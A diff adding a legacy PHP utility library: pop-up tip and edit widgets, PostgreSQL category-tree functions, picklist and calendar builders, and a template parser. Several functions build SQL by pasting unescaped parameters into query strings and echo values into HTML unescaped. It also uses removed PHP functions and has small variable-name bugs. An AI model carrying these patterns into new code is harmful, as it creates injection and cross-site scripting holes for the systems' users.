+       for( $i=2 ; $i<count($args) ; $i++, $u++ )
+               {
+                       // Check to see if there's any data supplied at all - It's hard to check otherwise
+               if( $in[$u] != '' )
+                       $data_found = true;
+               $data[$args[$i]] = urldecode($in[$u]);
+               }
+
+       if( $data_found )
+               return( $data );
+         else
+               return( false );
+               
+}
+
+       // Returns Title text with QuickTip Pop-Up support
+
+function quick_tip( $title, $message )
+{
+       
+       if( trim($title) == '' || trim($message) == '' )
+               return( false );
+               
+       $t = strip_tags( $title );              // Get rid of any HTML tags in title
+       
+       $key = md5($title);     // Used as the ID of this QuickTip
+       
+       return( '<div id="QuickTip_'.$key.'" class="quicktip">
+                         <div class="quicktip-titlebar">
+                           <a href="javascript:hide_QuickTip(\'QuickTip_'.$key.'\')"><span class="quicktip-close">Close</span></a>
+                           <div class="quicktip-title">QuickTip</div>
+                         </div>
+                         <div class="quicktip-body">
+                           <div class="quicktip-fieldname">'.$t.'</div>
+                           '.$message.'
+                         </div>
+                       </div>
+                       <iframe id="Shim_QuickTip_'.$key.'" src="javascript:false;" scrolling="no" frameborder="0" class="quickedit"></iframe>
+                       <span onClick="show_QuickTip(\'QuickTip_'.$key.'\',event);" class="quicktip-prompt2">'.$title.'</span>' );
+
+}
+
+       // Returns Title text with QuickEdit Pop-Up support - Uses QuickTip Java functions
+
+function quick_edit( $key, $prompt, $form )
+{
+       if( trim($prompt) == '' || trim($form) == '' )
+               return( false );
+               
+       $t = strip_tags( $prompt );             // Get rid of any HTML tags in title
+       
+       return( '<div id="QuickEdit_'.$key.'" class="quickedit">
+                         <div class="quicktip-titlebar">
+                           <a href="javascript:hide_QuickTip(\'QuickEdit_'.$key.'\')"><span class="quickedit-close">Close</span></a>
+                           <div class="quickedit-title">QuickEdit</div>
+                         </div>
+                         <div class="quickedit-body">
+                           '.$form.'
+                         </div>
+                       </div>
+                       <iframe id="Shim_QuickEdit_'.$key.'" src="javascript:false;" scrolling="no" frameborder="0" class="quickedit"></iframe>
+                       <span onClick="show_QuickTip(\'QuickEdit_'.$key.'\',event);" class="quickedit-prompt2">'.$prompt.'</span>' );
+
+}
+
+
+/*=======================================================================
+
+                          CATEGORY SUPPORT FUNCTIONS
+                
+=======================================================================*/
+
+       // Returns PL/pgSQL category_path support function for specified data table
+
+function category_path_func( $table_name )
+{
+       
+               // Stick table name in function
+               
+       return( str_replace ( '{TABLE_NAME}', $table_name, "
+
+               /*
+                       Function category_path( int )
+                       
+               Returns a ~ delimited string containing...
+                       A string to use for sorting by category, sub-cat, sub-sub-cat, ...
+                       A | delimited string of the names of the category hierarchy
+                       A | delimited string of the id of each step in the category hierarchy
+                       
+               Use in a query like...
+               
+                       SELECT *, cateogory_path(id) FROM table_name;
+                       
+               */
+               
+               CREATE OR REPLACE FUNCTION category_path( int ) RETURNS text AS '
+               
+               DECLARE
+                       this_node ALIAS FOR $1;
+                       node RECORD;
+                       sort text := '''';
+                       path TEXT := '''';
+                       ids TEXT := '''';
+                       level INT := 0;
+                               children RECORD;
+                               child_count INT := 0;
+                       sort_fix int := 100000;         -- Added to sort numbers to make sure sort is pseudo-numeric
+               
+               BEGIN
+                       SELECT INTO node * FROM {TABLE_NAME} WHERE id = this_node;
+                       sort := node.sort + sort_fix || ''_'' || this_node;                     -- Makes sure sort is numeric
+                       path := node.name;
+                       ids  := node.id;
+                               SELECT INTO children COUNT(id) FROM {TABLE_NAME} WHERE parent = this_node;
+                               child_count := children.count;
+                       IF FOUND THEN
+                               WHILE node.parent > 0 LOOP
+                                       SELECT INTO node * FROM {TABLE_NAME} WHERE id = node.parent;
+                                       sort := node.sort + sort_fix || ''_'' || node.id || ''_'' || sort;
+                                       path := node.name || ''|'' || path;
+                                       ids  := node.id || ''|'' || ids;
+                                       level := level + 1;
+                                       END LOOP;
+                               END IF;
+               
+                       -- Note: 0 below is to enforce proper ordering by sort field
+                       RETURN sort || ''_0~'' || path || ''~'' || ids || ''~'' || level || ''~'' || child_count;
+               
+               END;
+               
+               ' LANGUAGE plpgsql;
+               
+                       " ) );
+
+}
+
+       // Get category node
+       
+function cat_get_node( $table, $qs = '' )
+{
+       
+               // Get specified nodes list
+               
+       $query = category_path_func( $table )
+                        ."SELECT *, category_path(id) AS cat_path_data FROM $table ".(trim($qs)!=''?" WHERE $qs":"").";";
+                        
+       if( !($r = db_auto_get_row( $query, 0, SI_CONN_STR, FALSE ) ) )
+               return FALSE;
+       
+               // Process node paths into useable arrays
+               
+       $p = explode( "~", $r['cat_path_data'] );
+       $r['cat_fullpath'] = $p[1];
+       $r['cat_names'] = explode( "|", $p[1] );
+       $r['cat_id_path'] = $p[2];
+       $r['cat_ids'] = explode( "|", $p[2] );
+       $r['cat_level'] = $p[3];
+
+       return( $r );
+
+}
+
+       // Get array of selected category nodes
+       
+function cat_get_nodes( $table, $qs = '', $order = 'cat_path_data' )
+{
+       
+               // Get specified nodes list
+               
+       $query = category_path_func( $table )
+                        ."SELECT *, category_path(id) AS cat_path_data FROM $table ".($qs!=''?" WHERE $qs":"")." ORDER BY $order;";
+                                       
+       if( !($r = db_auto_get_data( $query, SI_CONN_STR, FALSE) ) )
+               return( FALSE );
+       
+               // Process node paths into useable arrays
+               
+       $num = count( $r );
+       
+       while( list($key, $val) = each($r) ) 
+               {
+               $p = explode( "~", $r[$key]['cat_path_data'] );
+               $r[$key]['cat_fullpath'] = $p[1];
+               $r[$key]['cat_names'] = explode( "|", $p[1] );
+               $r[$key]['cat_id_path'] = $p[2];
+               $r[$key]['cat_ids'] = explode( "|", $p[2] );
+               $r[$key]['cat_level'] = $p[3];
+               }
+               
+               
+       return( $r );
+
+}
+
+       // Get array of expanded node hierarchy for menus
+
+function cat_get_expanded_nodes( $table, $id )
+{
+
+               // Always get all top level nodes
+               
+       $q = 'parent = 0';
+
+               // If target supplied, get siblings and siblings of all parents
+               
+       $expanded = array();
+       if( $id > 0 )
+               {
+               $r = cat_get_node( $table, "id = $id" );
+       
+                       // For each level up, add to query to get all siblings
+       
+               if( $r )
+                       foreach( $r['cat_ids'] as $c )
+                               {
+                               $q .= " OR parent = $c";
+                               $expanded[$c] = TRUE;
+                               }
+               }
+
+               // Get all selected nodes
+               
+       if( !($nodes = cat_get_nodes( $table, $q ) ) )
+               return( FALSE );                // If there's no top level nodes, then quit.
+
+               // Set expanded flags for nodes with expanded children
+               
+       reset($nodes);
+       while( list($key, $val) = each($nodes) )
+               $nodes[$key]['expanded'] = $expanded[$val['id']] == TRUE;
+                         
+               // Make array keys the path data string to sort on
+       
+       foreach( $nodes as $n )
+               $list[$n['cat_path_data']] = $n; 
+
+               // Sort on those keys
+
+       ksort( $list );
+
+       return( $list );
+
+}
+
+
+       // Get array of an entire category tree from target down
+
+function cat_get_tree( $table, $id )
+{
+       
+       // Not written
+       
+}
+
+       // Resequence category node siblings
+
+function cat_resequence_siblings( $table, $parent )
+{
+
+               // Get all siblings
+
+       if( !($nodes = db_auto_get_data( "SELECT id, sort FROM $table WHERE parent = $parent ORDER BY sort;", SI_CONN_STR, FALSE ) ) ) 
+               return( FALSE );
+                       
+       $query = 'BEGIN;';
+       
+       $sort = 10;
+       
+       foreach( $nodes as $n )
+               {
+               $query .= "UPDATE $table SET sort = $sort WHERE id = ".$n['id'].";";
+               $sort += 10; 
+               }
+
+       $query .= 'COMMIT;';
+       
+       if( !db_auto_exec( $query, SI_CONN_STR, FALSE ) )
+               return( FALSE );
+       
+       return( TRUE );
+
+}
+
+       // Move a category node
+
+/*
+function cat_move_node( $table, $parent )
+{
+
+ NOT WRITTEN YET 
+               
+}
+*/
+
+
+       // Delete a category node and optionally its children
+
+
+function cat_delete_node( $table, $id, $method = 'node' )
+{
+               // Check submitted data
+               
+       if( empty($table) || empty($id) || $id < 1 )
+               return( FALSE );
+               
+               // Get parent of node to be deleted
+
+       if( !($target = db_auto_get_row( "SELECT * FROM $table WHERE id = $id;", 0, SI_CONN_STR, FALSE )) )
+               return( FALSE );
+       $new_parent = $target['parent'];
+       
+               // Delete target and reassign all children to parent
+               
+       if( !db_auto_exec( "BEGIN;
+                                       DELETE FROM $table WHERE id = $id;
+                                       UPDATE $table SET parent = $new_parent WHERE parent = $id;
+                                  COMMIT;",    SI_CONN_STR, FALSE ) )
+               return( FALSE );
+       
+       return( TRUE );
+}
+
+
+
+/*=======================================================================
+
+                          HIGH LEVEL FUNCTIONS
+                
+=======================================================================*/
+
+       // Build a numeric picklist
+function build_numeric_picklist( $fieldname, $starting, $ending, $selected="", $option="", $class="" )
+{
+       if( $starting > $ending )
+               return( "*** Picklist generation error: build_numeric_piclist() ***" );
+
+       $r = '<SELECT NAME="'.$fieldname.'"'.($class!=''?'class="'.$class.'"':'').'>
+            ';
+           
+       if( strstr( $option, 'blank') )
+               $r .= '<OPTION VALUE=""'.(trim($selected)==''?" SELECTED":"").'>';
+       
+       for( $i=$starting ; $i<=$ending ; $i++ )
+               $r .= '<OPTION VALUE="'.$i.'"'
+                       .( $i==$selected ? " selected" : "" )
+                       .'> '.$i.'</OPTION>
+                     ';
+                     
+       $r .= '</SELECT>';
+       
+       return( $r );
+               
+}
+
+       // Build a picklist
+
+function build_picklist( $fieldname, $data, $selected, $type = "standard", $options = "", $class="" )
+{
+       
+       if( !is_array($data) )
+               return( "<FONT COLOR=\"red\">ERROR: build_picklist() data supplied is not an array for field $fieldname.</FONT>\n" );
+               
+               // Set default option status
+               
+       $option_blank = $option_order = $option_numeric = $option_descending = $option_multi = FALSE;   
+       
+               // Scan for supplied options
+               
+       if( !empty($options) )
+               {
+               $opt_array = explode_trim( "~", $options );
+               foreach( $opt_array as $opt )
+                       {
+                       switch( $opt )
+                               {
+                               case "blank":
+                                       $option_blank = TRUE;
+                                       break;
+                                       
+                               case "numeric":
+                                       $option_numeric = TRUE;
+                                       $option_order = TRUE;
+                                       break;
+                                       
+                               case "alpha":
+                                       $option_numeric = FALSE;        // If it's not numeric, it's alpha
+                                       $option_order = TRUE;
+                                       break;
+                                       
+                               case "descending":
+                                       $option_descending = TRUE;
+                                       break;
+                                       
+                               case "ascending":
+                                       $option_descending = FALSE;     // If it's not descending, it's ascending
+                                       break;
+                                       
+                               case "multi":
+                                       $option_multi = TRUE;   // Permit multiple select with CTRL or SHIFT
+                                       break;
+                                       
+                               default:
+                                       return( "<FONT COLOR=\"red\">Illegal build_picklist() option</FONT>\n" );
+                                       break;
+                               }
+                       }
+               }
+               
+       if( $option_order )
+               {
+               if( $option_descending )
+                       {                       // Sort Descending
+                       if( $option_numeric )
+                               arsort( $data, SORT_NUMERIC );
+                           else
+                               arsort( $data, SORT_STRING );
+                       }
+                   else
+                       {                       // Sort Ascending               
+                       if( $option_numeric )
+                               asort( $data, SORT_NUMERIC );
+                           else
+                               asort( $data, SORT_STRING );
+                       }
+               }
+
+       if( $option_multi )
+               $str = '<SELECT NAME="'.$fieldname.'[]" MULTIPLE SIZE="4"'.($class!=''?'class="'.$class.'"':'').'>';
+         else
+               $str = '<SELECT NAME="'.$fieldname.'"'.($class!=''?'class="'.$class.'"':'').'>';
+
+       if( $option_blank )
+               $str .= "       <OPTION VALUE=\"\">\n";
+
+       switch( $type )
+               {
+               case "simple":
+                       for( $i=0 ; $i<count($data) ; $i++ ) 
+                               {
+                               if( $option_multi )
+                                       {
+                                       $sel = FALSE;
+                                       if( is_array($selected) )
+                                               {
+                                               reset( $selected );
+                                               foreach( $selected as $s )
+                                                       if( $s == $data[$i] )
+                                                               $sel = TRUE;
+                                               }
+                                       $str .= "       <OPTION VALUE=\"".$data[$i]."\"".($sel?" SELECTED ":"").">".$data[$i]."\n";
+                                       }
+                                 else
+                                       $str .= "       <OPTION VALUE=\"".$data[$i]."\"".($data[$i]==$selected?" SELECTED ":"").">".$data[$i]."\n";
+                               }
+                       break;
+                                       
+               case "standard":
+               default:
+                       while( list($key, $val) = each($data) ) 
+                               if( $option_multi )
+                                       {
+                                       $sel = FALSE;
+                                       if( is_array($selected) )
+                                               {
+                                               reset( $selected );
+                                               foreach( $selected as $s )
+                                                       if( $s == $key )
+                                                               $sel = TRUE;
+                                               }
+                                       $str .= "       <OPTION VALUE=\"$key\"".($sel?" SELECTED ":"").">$val\n";
+                                       }
+                                 else
+                                       $str .= "       <OPTION VALUE=\"$key\"".($key==$selected?" SELECTED ":"").">$val\n";
+                       break;
+               }
+       $str .= "</SELECT>";
+       
+       return( $str );
+
+}
+
+function build_picklist_from_string( $fieldname, $data, $selected, $type = "standard", $options = "" )
+       {
+       $x = explode( '~', $data );
+       $array_data = array();
+       foreach( $x as $y )
+               {
+               $z = explode( '^', $y );
+               $array_data[trim($z[0])] = trim($z[1]);
+               }
+       return( build_picklist( $fieldname, $array_data, $selected, $type, $options ) );
+       }
+
+       
+       // Build Radio Buttons
+function build_radio_buttons( $fieldname, $data, $selected, $separator = "&nbsp;&nbsp;", $type = "standard", $options = "" )
+{
+       
+               // if $data is neither proper array or data string
+               
+       if( !is_array($data) )
+               if( ($data = strtoarray($data)) == FALSE )
+                       return( "<FONT COLOR=\"red\">ERROR: build_radio_buttons() Improper data supplied for field \"$fieldname\".</FONT>\n" );
+               
+               // Set default option status
+               
+       $option_blank = $option_order = $option_numeric = $option_descending = $option_after = FALSE;   
+       
+               // Scan for supplied options
+               
+       if( !empty($options) )
+               {
+               $opt_array = explode_trim( "~", $options );
+               foreach( $opt_array as $opt )
+                       {
+                       switch( $opt )
+                               {
+                               case 'numeric':
+                                       $option_numeric = TRUE;
+                                       $option_order = TRUE;
+                                       break;
+                                       
+                               case 'alpha':
+                                       $option_numeric = FALSE;        // If it's not numeric, it's alpha
+                                       $option_order = TRUE;
+                                       break;
+                                       
+                               case 'descending':
+                                       $option_descending = TRUE;
+                                       break;
+                                       
+                               case 'ascending':
+                                       $option_descending = FALSE;     // If it's not descending, it's ascending
+                                       break;
+                                       
+                               case 'after':
+                                       $option_after = TRUE;
+                                       break;
+                                       
+                               default:
+//                                     return( "<FONT COLOR=\"red\">ERROR: build_radio_buttons() Illegal option \"$opt\".</FONT>\n" );
+                                       break;
+                               }
+                       }
+               }
+               
+       if( $option_order )
+               {
+               if( $option_descending )
+                       {                       // Sort Descending
+                       if( $option_numeric )
+                               arsort( $data, SORT_NUMERIC );
+                           else
+                               arsort( $data, SORT_STRING );
+                       }
+                   else
+                       {                       // Sort Ascending               
+                       if( $option_numeric )
+                               asort( $data, SORT_NUMERIC );
+                           else
+                               asort( $data, SORT_STRING );
+                       }
+               }
+
+       $str = $sep = '';
+       while( list($key, $val) = each($data) ) 
+               {
+               $str .= $sep;
+               
+               if( !$after )
+                       $str .= $val.' ';
+                       
+               switch( $type )
+                       {
+                       case "simple":
+                               $str .= '<INPUT TYPE="radio" NAME="'.$fieldname.'" VALUE="'.$val.'" '.($val==$selected?" CHECKED ":"").'>';
+                               break;                                          
+                       case "standard":
+                               $str .= '<INPUT TYPE="radio" NAME="'.$fieldname.'" VALUE="'.$key.'" '.($key==$selected?" CHECKED ":"").'>';
+                               break;                          
+                       default:
+                               break;
+                       }
+                       
+               if( $after )
+                       $str .= ' '.$val;
+
+               $sep = $separator;
+               }
+       return( $str );
+}
+       
+       // Create a date input form with a link to a pop-up calendar                                            
+
+function calendar_date_select( $default_value, $selected_date, $start_date, 
+                       $end_date, $form_name, $field_name, $options = "", 
+                       $no_earlier = "", $class = "" )
+{
+
+       GLOBAL  $si_month_array;
+       
+       $months = array( 1=>"Jan",2=>"Feb",3=>"Mar",4=>"Apr",5=>"May",6=>"Jun",7=>"Jul",8=>"Aug",9=>"Sep",10=>"Oct",11=>"Nov",12=>"Dec" );
+
+       $start = getdate( $start_date );
+       $end   = getdate( $end_date );
+       
+       $form = "<script language=\"JavaScript1.2\">
+                       <!--
+                               // Detect if the browser is IE or not.
+                               // If it is not IE, we assume that the browser is NS.
+
+                       var IE = document.all?true:false
+
+                               // If NS -- that is, !IE -- then set up for mouse capture
+
+//                     if (!IE) document.captureEvents(Event.MOUSEMOVE)
+
+                               // Set-up to use getMouseXY function onMouseMove
+
+//                     document.onmousemove = getMouseXY;
+
+                               // Temporary variables to hold mouse x-y pos.s
+
+                       var tempX = 0
+                       var tempY = 0
+
+                               // Main function to retrieve mouse x-y pos.s
+
+                       function getMouseXY(e) 
+                               {
+                               if (IE) 
+                                       { // grab the x-y pos.s if browser is IE
+                                       tempX = event.clientX //+ document.body.scrollLeft
+                                       tempY = event.clientY //+ document.body.scrollTop
+                                       } 
+                                   else 
+                                       {  // grab the x-y pos.s if browser is NS
+                                       tempX = e.pageX
+                                       tempY = e.pageY
+                                       }
+                                       
+                                       // catch possible negative values in NS4
+
+                               if (tempX < 0){tempX = 0}
+                               if (tempY < 0){tempY = 0}
+
+                                       // show the position values in the form named Show
+                                       // in the text fields named MouseX and MouseY
+                                       //  document.Show.MouseX.value = tempX
+                                       //  document.Show.MouseY.value = tempY
+
+                               return true;
+                               }
+
+                       function calWin_".$field_name."()
+                               {
+                                       // Pass values to the calendar
+                                       
+                               tempX = 400
+                               tempY = 300
+               ";
+       if( ereg( "PICK", $options ) )
+               $form .= "      sd = this.document.$form_name.".$field_name."_month.value + '/' + this.document.$form_name.".$field_name."_day.value + '/' + this.document.$form_name.".$field_name."_year.value; 
+                        ";
+         else
+               $form .= "  sd = this.document.$form_name.$field_name.value; 
+                        ";
+                                
+       $form .= "      var theUrl='".SI_BASE_URL."/glm_apps/calendar.phtml?selected_date=' + sd + '&start_date=$start_date&end_date=$end_date&form_name=$form_name&field_name=$field_name';
+               ";
+
+               // If a "no_earlier" field is specified, have the script check for a date from other specified field and pass it in the URL
+               
+       if( $no_earlier != "" )
+               $form .= "
+                               theUrl = theUrl + '&no_earlier=' + this.document.$form_name.$no_earlier.value
+                       ";
+       $form .= "      
+                               tempX = tempX - 90;
+                               //tempY = tempY - 170;
+                               
+                               if (navigator.appName == 'Netscape')
+                                       {
+                                       calWind = window.open (theUrl, 'Calendar','scrollbars=no,toolbar=no,resizable=no,width=170,height=180,screenx=' + tempX +',screeny=' + tempY,1);
+                                       }
+                                   else
+                                       {
+                                       calWind = window.open (theUrl, 'Calendar','scrollbars=no,toolbar=no,resizable=no,width=170,height=180, top=' + tempY +', left=' + tempX,1);
+                                       }
+
+                               calWind.focus();                                
+                               }
+                       -->
+               </script>
+               ";
+
+               // Handle default date whether it's a string date or a timestamp
+       
+       if( is_numeric($default_value) )
+               {
+               $default_timestamp = $default_value;
+               $default_value = date( 'n/j/Y', $default_value );
+               }
+         else
+               $default_timestamp = strtotime( $default_value );
+               
+       $default_month = date( "n", $default_timestamp );       
+       $default_day = date( "j", $default_timestamp ); 
+       $default_year = date( "Y", $default_timestamp );        
+
+       $class_tag = $class != '' ? 'CLASS="'.$class.'"' : '' ;
+
+       if( ereg( "PICK", $options ) )
+               {
+               $form .= build_picklist( $field_name."_month", $months, $default_month, '', '', $class );
+               $form .= build_numeric_picklist( $field_name."_day", 1, 31, $default_day, '', $class );
+               if( ereg( "HIDE_YEAR", $options ) )
+                       $form .= '<INPUT TYPE="hidden" NAME="'.$field_name.'_year" VALUE="'.$default_year.'" '.$class_tag.'>';
+                   else
+                       $form .= build_numeric_picklist( $field_name."_year", date("Y"), date("Y",$end_date), $default_year, '', $class );
+               $form .= '<INPUT TYPE="hidden" NAME="'.$field_name.'" '.$class_tag.'>';
+               }
+         else
+               $form .= '<INPUT TYPE="text" NAME="'.$field_name.'" SIZE="10" VALUE="'.$default_value.'" '.$class_tag.'>';
+
+       if( !ereg( "NO_PROMPT", $options ) )
+               $form .= " (month/day/year) ";
+               
+       $form .= '      <SCRIPT LANGUAGE="javascript">
+                               <!--
+                               document.write(\'<a href="javascript:calWin_'.$field_name.'()\"><IMG SRC="'.SI_BASE_URL.'/assets/calendar.gif" BORDER="0" ALT="Calendar"></A>\');
+                               -->
+                       </SCRIPT>
+                ';
+       return($form);
+}
+
+       // Build an HTML calendar with data from the array in each date
+
+function calendar_display( $month, $year, $date_data, $headerinfo='', $monthinfo='' )
+{
+       $MonthNames = array(1=>'January','February','March','April','May','June','July','August','September','October','November','December');
+
+/* This seems to be unnecessary
+
+       $calendar ='<script language="javascript">
+                       <!--
+                               function winMsger(msg)
+                                       {
+                                       calWind = window.open (\'\', \'Calendar\',\'scrollbars=no,toolbar=no,resizable=no,width=230,height=230\',1);
+                                       calWind.document.write("<HTML><TITLE>Calendar</TITLE></HTML>")
+                                       calWind.document.write("<body bgcolor=\'#FFFFFF\' leftmargin=\'0\' topmargin=\'0\' marginwidth=\'0\' marginheight=\'0\'>")
+                                       calWind.document.write(msg)
+                                       calWind.document.write("</BODY></HTML>")
+
+                                       calWind.focus()
+                                       }
+                       -->
+               </script>
+*/
+
+       $calendar = '
+               <STYLE TYPE="text/css">
+                       <!--
+                       th {   font-size: 12px; background-color: '. SI_CAL_DATE.'; font-weight: bold; }
+                       td.h { font-size: 12px; background-color: '. SI_CAL_HEAD.'; }
+                       td.n { font-size: 12px; background-color: '. SI_CAL_NODATE.'; }
+                       td.d { font-size: 12px; background-color: '. SI_CAL_TODAY.'; }
+//                     td.t { font-size: 12px; background-color: '. SI_CAL_DATE .'; }
+                       td.t { font-size: 12px; }
+                       td.z { font-size: 16px; background-color: '. SI_CAL_TABLE .'; }
+                       td.f {}
+                       //-->
+               </STYLE>
+
+               <TABLE BORDER="1" CELLPADDING="1" CELLSPACING="0" ALIGN="center" BGCOLOR="'. SI_CAL_TABLE.'" WIDTH="98%" HEIGHT="40%">
+                       <TR HEIGHT="20">
+                               <TD CLASS="z" COLSPAN="7" ALIGN="center"><B>'.(empty($monthinfo)?$MonthNames[$month].' '.$year:$monthinfo).'</B><br>
+                               </TD>
+                       </TR>
+               ';
+               
+         if( !empty($headerinfo) )
+               {
+               $calendar.= '<TR><TD COLSPAN="7">'.$headerinfo.'
+                               </TD></TR>
+                               ';
+               }
+
+       $calendar.='<TR ALIGN="center" HEIGHT="15">
+                       <TH CLASS="h" width="14%">Sun</TH>
+                       <TH CLASS="h" width="14%">Mon</TH>
+                       <TH CLASS="h" width="14%">Tue</TH>
+                       <TH CLASS="h" width="14%">Wed</TH>
+                       <TH CLASS="h" width="14%">Thu</TH>
+                       <TH CLASS="h" width="14%">Fri</TH>
+                       <TH CLASS="h" width="14%">Sat</TH>
+               </TR>
+               <TR ALIGN="left">
+               ';
+
+               // Display blanks up to first day of the month
+
+       $offset = date( "w", mktime( 0, 0, 0, $month, 1, $year )  );
+       if( $offset > 0 )
+               $calendar .= str_repeat( "<TD CLASS=\"n\">&nbsp;</TD>\n",$offset );
+
+               // For each day of the month
+
+       $NumberOfDays = date( "t", mktime( 0, 0, 0, $month, 1, $year ) );
+       for( $i=1 ; $i<=$NumberOfDays ; $i++ )
+               {
+               $this_date = mktime( 0, 0, 0, $month, $i, $year );
+               $DayOfWeek = date( "w", $this_date );
+
+                       // Start a new row each Sunday, unless it's the 1st of the month
+
+               if( $DayOfWeek == 0 && $i != 1 )
+                       {
+                       $calendar .= '</TR><TR>';
+                       }
+
+               if( !empty($date_data[$i]["color"]) )
+                       $color = $date_data[$i]["color"];
+                   else
+                       $color = SI_CAL_DATE;
+               
+               $calendar .= '<TD CLASS="t" ALIGN="left" VALIGN="top" BGCOLOR="'.$color.'">';
+                       
+               if( !empty($date_data[$i]["link"]) )
+                       $calendar .= '<A HREF="'.$date_data[$i]["link"].'">'.$i.'</A>';
+                   else
+                       $calendar .= $i;
+                       
+               $calendar .= '<BR>';
+               
+               if( !empty($date_data[$i]["cell"]) )
+                       $calendar .= $date_data[$i]["cell"];
+                       
+               $calendar .= "</TD>\n";
+               }
+
+
+       if( ( ($offset == 5) && ($NumberOfDays > 30) ) || ( ($offset == 6) && ($NumberOfDays > 29) ) )
+               {
+               if( 42-$NumberOfDays-$offset > 0 )
+                       {
+                       $calendar .= str_repeat( "<TD CLASS=\"n\">&nbsp;</TD>\n",42-$NumberOfDays-$offset );
+                       }
+               $calendar .= "</TR>\n";
+               }
+           elseif( ($NumberOfDays != 28) || ($offset > 0) )
+               {
+               if (35-$NumberOfDays-$offset > 0)
+                       {
+                       $calendar .= str_repeat("<TD CLASS=\"n\">&nbsp;</TD>\n",35-$NumberOfDays-$offset);
+                       $calendar .= "</TR>\n";
+                       }
+               }
+
+       $calendar .= "</TABLE>\n";
+       return $calendar;
+}
+
+
+       // Get list of counties in a state
+function get_us_counties( $state, $fail_mode, $include_any=FALSE )
+{
+       
+       $data = db_auto_get_data( "SELECT county FROM county_state WHERE state_code = '$state' ORDER by county;",
+                                     "host=ds4.gaslightmedia.com dbname=county user=".SI_DB_USER,
+                                     $fail_mode, 500 );
+                                     
+       if( isset($include_any) && $include_any == TRUE )
+               $counties[""] = "(Any)";
+       
+       if( count($data) )
+               {
+               while( list($key, $val) = each($data) ) 
+                       $counties[$val["county"]] = $val["county"];
+               }
+           else
+               $counties = array( "" => "(none)" );
+
+       return( $counties );
+
+}
+
+       // Parse a "view" file to merge in supplied data        
+
+function parse_view( $file_name, $tokens, $show_unused = TRUE )
+       {
+       if( !($f = file_get( $file_name ) ) )
+               {
+               if( trim($file_name) == '' )
+                       return( "ERROR: No view file name supplied." );
+                 else
+                       return( "ERROR: View file '$file_name' not found or unreadable." );
+               }
+       $out = parse_string_view( $f, $tokens, $show_unsued = TRUE );
+       return( $out );
+       }
+
+       // Process Lists
+       
+function process_view_lists( $f, $tokens, $pvl_level = 0, $pvl_require_list_data = false ) 
+       {
+
+               // Process list sections
+               
+       $out = "";
+
+       $p = 0;
+       while( !(($p2 = strpos( $f, "<!--{list:", $p )) === FALSE ))                    // While there are still lists
+               {
+                       // Start of a list has been found
+               
+               $out .= substr( $f, $p, $p2-$p );                                                                               // Add portion up to start of list to output
+               $p = $p2 + 10;                                                                                                                  // Get past list token
+               if( !($p2 = strpos( $f, "}-->", $p )) || $p2 == $p )                                    // If there's no }--> following it, then something's wrong 
+                       return( "ERROR: parse_view() - Missing name of {list:name} tag at $p.<P><PRE>".htmlentities(substr($f,$p,500))."</PRE>" );
+               $listname = substr( $f, $p, $p2-$p );                                                                   // Get name of this list
+               
+                       // If list data is required (no empty lists) and we don't have any
+
+               if( $pvl_require_list_data && ( !isset($tokens[$listname]) || !is_array($tokens[$listname]) ) )
+                       {
+                       $out = "ERROR: parse_view() - No data supplied for list name \"$listname\".";
+                       if( SI_DEBUG_VIEW )
+                               $out .= "<P>&nbsp;<P><HR><P>Tags supplied to parse_view() function<P>".tableize_array( $tokens );
+                       return( $out );
+                       }
+                       
+               $p = $p2 + 4;                                                                                                                   // Move pointer to start of list
+               if( !($end = strpos( $f, "<!--{/list:".$listname."}-->", $p )) )                                                // Find end of this list section
+                       return( "ERROR: parse_view() - Matching {/list} tag not found at $p.<P><PRE>".htmlentities(substr($f,$p,500))."</PRE>" );               
+               
+                       // Break up list
+               
+               unset( $list );
+               $sections = 0;
+               $sep = "";
+               while( ($p2 = strpos( $f, "<!--{sep:".$listname."}-->", $p )) && $p2 < $end )                   // While there's still separators in this list
+                       {
+                       $list[$sections] = substr( $f, $p, $p2-$p );                                            // Save this segment
+                       $p = $p2 + 13 + strlen($listname);                                                                      // Point past start of separator
+                       if( !($p2 = strpos( $f, "<!--{/sep:".$listname."}-->", $p )) || $p2 > $end )            // Find matching {/sep} tag
+                               return( "ERROR: parse_view() - Matching {/sep} tag not found at $p.<P><PRE>".htmlentities(substr($f,$p,500))."</PRE>" );
+                       if( empty($sep) )                                                                                                       // Only use the first separator
+                               $sep = substr( $f, $p, $p2-$p );
+                       $p = $p2 + 14 + strlen($listname);                                                                      // Point past end of {/sep} tag
+                       $sections++;                                                                                                            // Bump section count
+                       }
+
+               $list[$sections] = substr( $f, $p, $end-$p );                                                   // Store last section of list
+               $p = $end + 15 + strlen($listname);                                                                             // Point past this list
+               $sections++;                                                                                                                    // Bump section count
+
+                       // For each token expected in this list - Compile output
+                       
+               if( !empty( $tokens[$listname] ) )              // That is if there's any data for the list
+                       {
+                       $t = count($tokens[$listname]);                                                                         // Get number of blocks of data
+                       $j = 0;
+                       foreach( $tokens[$listname] as $to )                                                            // For each block of data supplied
+                               {
+                               if( !is_array($to) || count($to) == 0 )
+                                       {
+                                       $out = "ERROR: parse_view() - List data contains an empty token array for list $listname.";
+                                       if( SI_DEBUG_VIEW )
+                                               $out .= "<P>&nbsp;<P><HR><P>Tags supplied to parse_view() function<P>".tableize_array( $tokens );
+                                       return( $out );
+                                       }
+                               $x = replace_tokens( $list[$j%$sections], $to );                                // Replace tokens in appropriate section
+                               $x = process_view_lists( $x, $to, $pvl_level+1, $pvl_require_list_data );                               // Process any sub-lists
+                               $out .= cond_replace_tokens( $x, $to );                                                 // Do conditional replacements also
+       
+                               if( ++$j < $t )                                                                                                 // If there's more data, output sep
+                                       $out .= $sep;
+                               }
+                       }
+               }               
+               
+       $out .= substr( $f, $p );                       // Now add remainder of page
+       return( $out );
+       }
+       
+
+       // Parse a "view" string to mearge in supplied data     
+       
+function parse_string_view( $f, $tokens, $show_unused = TRUE )
+       {               
+
+       if( empty($f) )
+               return( "ERROR: View string not provided." );
+
+               // Replace all {include:filename} 
+               
+       while( !( ($p2 = strpos( $f, '<!--{include:' )) == FALSE ) )            // While there's file includes
+               {
+                       
+               $p = $p2 + 13;          // Save the position of the start of the filename
+               
+                       // Look for the end of this tag
+                                       
+               if( !( $p2 = strpos($f, "}-->", $p)) || $p2 == $p ) // If there's no }--> following it, then something's wrong 
+                       return ("ERROR: parse_view() - Missing name of {include:filename} tag at $p.<P><PRE>".htmlentities(substr($f, $p, 500))."</PRE>");
+                       
+                       // Read in the specified file
+
+               $filename = substr($f, $p, $p2 - $p); // Get name of the specified file
+               if( !($inc_file = file_get( SI_BASE_PATH.'/'.$filename)) )
